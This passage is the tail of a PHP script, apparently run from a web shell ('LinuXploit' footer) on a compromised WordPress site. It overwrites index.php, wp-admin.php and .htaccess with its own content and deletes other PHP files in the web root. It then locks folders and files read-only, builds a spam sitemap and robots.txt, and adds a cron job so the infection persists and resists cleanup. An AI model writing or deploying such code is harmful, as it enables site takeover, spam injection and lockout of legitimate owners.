    unlockSuperFilesSafe($baseDir, $allowedFiles, $safeFiles);
    echo "βœ“ Super files unlocked\n";
    
    removeAutoCronSafe($scriptUrl);
    if (!can_exec()) echo "β„Ή Cron skipped (exec disabled)\n";
    else echo "βœ“ Cron removed\n";
    
    @chmod($baseDir, 0755);
    @chmod($currentScript, 0644);
    echo "βœ“ Final safety check done\n";
    
    echo "\nβœ… DONE at " . date('H:i:s') . "\n";
    echo "πŸŽ‰ All folders now: 0755 (Full Access)\n";

// =======================================================================
// MODE FIX
// =======================================================================
} elseif ($isFix) {
    echo "πŸ”§ Mode: FIX\n\n";
    
    foreach ($targetFiles as $file) {
        removeImmutableFlag($file);
        @chmod($file, 0644);
    }
    removeImmutableFlag($baseDir);
    @chmod($baseDir, 0755);
    echo "βœ“ Files unlocked\n";
    
    perbaruiFile($wpAdminFile, $backupDir, $wpAdminContent, 'wp-admin.php');
    perbaruiFile($indexFile, $backupDir, $indexContent, 'index.php');
    
    $htaccessWritten = paksaTulis($htaccess, $newHtaccess);
    if (!$htaccessWritten || !verifyFileIntegrity($htaccess, $newHtaccess)) {
        echo "⚠ Retry htaccess write...\n";
        usleep(500000);
        removeImmutableFlag($htaccess);
        @chmod(dirname($htaccess), 0755);
        @chmod($htaccess, 0644);
        paksaTulis($htaccess, $newHtaccess);
    }
    paksaTulis($wpAdminHtaccess, $newWpAdminHtaccess);
    
    $criticalFiles = [
        $htaccess => $newHtaccess,
        $wpAdminHtaccess => $newWpAdminHtaccess,
        $wpAdminFile => $wpAdminContent,
        $indexFile => $indexContent
    ];
    
    $allOk = true;
    foreach ($criticalFiles as $file => $expected) {
        if (!verifyFileIntegrity($file, $expected)) {
            echo "⚠ Verifying & retry: " . basename($file) . "\n";
            removeImmutableFlag($file);
            @chmod($file, 0644);
            paksaTulis($file, $expected);
            if (!verifyFileIntegrity($file, $expected)) {
                echo "❌ FAILED: " . basename($file) . " still invalid!\n";
                $allOk = false;
            }
        }
    }
    echo $allOk ? "βœ“ Files rebuilt & verified\n" : "⚠ Some files need attention\n";
    
    forceRootDirPermission($baseDir);
    @chmod($currentScript, 0644);
    echo "\nβœ… Fix complete\n";

// =======================================================================
// MODE UPDATE
// =======================================================================
} else {
    echo "πŸ”„ Mode: " . strtoupper($updateMode) . "\n";
    echo "⏰ Start: " . date('H:i:s') . "\n\n";
    
    forceRootDirPermission($baseDir);
    echo "βœ“ Root OK\n";
    
    perbaruiFile($wpAdminFile, $backupDir, $wpAdminContent, 'wp-admin.php');
    
    if (in_array($updateMode, ['both_locked', 'both_unlocked'])) {
        perbaruiFile($indexFile, $backupDir, $indexContent, 'index.php');
    } elseif ($updateMode === 'options') {
        perbaruiFile($indexFile, $backupDir, $wpAdminContent, 'index.php');
    }
    
    $htaccessOk = paksaTulis($htaccess, $newHtaccess);
    if (!$htaccessOk || !verifyFileIntegrity($htaccess, $newHtaccess)) {
        echo "⚠ Htaccess write issue, retrying...\n";
        usleep(500000);
        removeImmutableFlag($htaccess);
        @chmod($htaccess, 0644);
        paksaTulis($htaccess, $newHtaccess);
    }
    paksaTulis($wpAdminHtaccess, $newWpAdminHtaccess);
    
    foreach ([$htaccess => $newHtaccess, $wpAdminHtaccess => $newWpAdminHtaccess] as $file => $expected) {
        if (!verifyFileIntegrity($file, $expected)) {
            echo "⚠ Retrying " . basename($file) . "...\n";
            removeImmutableFlag($file);
            @chmod($file, 0644);
            paksaTulis($file, $expected);
        }
    }
    echo "βœ“ Core files updated & verified\n";
    
    foreach ([$wpAdminFile, $indexFile, $htaccess, $wpAdminHtaccess] as $file) {
        $isSafe = in_array($file, $safeFiles);
        if ($isSafe) @chmod($file, 0644);
        else @chmod($file, 0555);
    }
    echo "βœ“ Core files locked (safe mode)\n";
    
    $excludeDirs = array_merge($safeFolders, [$baseDir . '/wp-admin']);
    $result = recursiveLockFoldersOnly_Safe($baseDir, $excludeDirs);
    echo "βœ“ Folders locked: {$result['folders_locked']} | Excluded: {$result['folders_excluded']}\n";
    
    lockBaseDirectorySafe($baseDir);
    echo "βœ“ Base dir locked\n";
    
    @chmod($currentScript, 0644);
    echo "βœ“ Safety check passed\n";
    
    echo "\n⏱️ End: " . date('H:i:s') . "\n";
}

// Cleanup (kecuali unlock mode)
if (!$isUnlock) {
    echo "\n🧹 Cleanup AGRESIF (root only):\n";
    echo "─────────────────────────────\n";
    $deletedCount = cleanup_php_root_safe($baseDir);
    echo "─────────────────────────────\n";
    echo "πŸ“¦ Total dihapus: {$deletedCount} file\n";
    
    $robotsGenerated = autoGenerateRobotsSafe($domain, $protocol);
    
    if (!$isFix) {
        $excludeDirs = array_merge($safeFolders, [$baseDir . '/wp-admin']);
        recursiveLockFoldersOnly_Safe($baseDir, $excludeDirs);
        lockBaseDirectorySafe($baseDir);
        @chmod($currentScript, 0644);
    }
    
    if (!$robotsGenerated && $retryCount < $maxRetries) {
        $newRetry = $retryCount + 1;
        echo "\n⏳ Retry ($newRetry/$maxRetries)...";
        echo "<script>setTimeout(()=>window.location.href='?retry=$newRetry',3000)</script>";
        echo "</pre></div>";
        exit;
    }
    
    echo "\nπŸ”— <a href='{$protocol}://{$domain}/sxallsitemap.xml' target='_blank' style='color:#007bff'>Sitemap</a>\n";
    
    displaySxallsitemapSafe($domain, $protocol);
    
    echo "\nβ”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”\n";
    if ($isFix) {
        echo "β”‚ Status: FIX COMPLETE         β”‚\n";
        echo "β”‚ Cleanup: {$deletedCount} deleted      β”‚\n";
    } else {
        echo "β”‚ Status: LOCKED               β”‚\n";
        echo "β”‚ Folders: 0555 πŸ”’             β”‚\n";
        echo "β”‚ Cleanup: {$deletedCount} deleted      β”‚\n";
        
        superLockFilesSafe($baseDir, $allowedFiles, $safeFiles);
        setupAutoCronSafe($scriptUrl);
        
        if (can_exec()) echo "β”‚ Cron: ACTIVE                 β”‚\n";
        else echo "β”‚ Cron: SKIPPED (no exec)     β”‚\n";
    }
    echo "β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜\n";
}

@chmod($currentScript, 0644);
echo "\nβœ… Completed safely at " . date('H:i:s') . "\n";

} catch (\Throwable $e) {
    echo "\n❌ ERROR CAUGHT:\n";
    echo "Message: " . $e->getMessage() . "\n";
    echo "File: " . $e->getFile() . ":" . $e->getLine() . "\n";
    
    echo "\n🚨 EMERGENCY: Unlocking all for recovery...\n";
    @chmod($baseDir, 0755);
    @chmod($currentScript, 0644);
    recursiveUnlockFoldersOnly_Safe($baseDir);
    
    try {
        paksaTulis($htaccess, generateValidHtaccess($allowedFiles, basename($currentScript)));
        echo "βœ“ Htaccess recovered\n";
    } catch (\Throwable $e2) {
        echo "⚠ Could not recover htaccess\n";
    }
    
    echo "βœ… Emergency unlock completed.\n";
}

echo "</pre></div>";
?>

Youez - 2016 - github.com/yon3zu
LinuXploit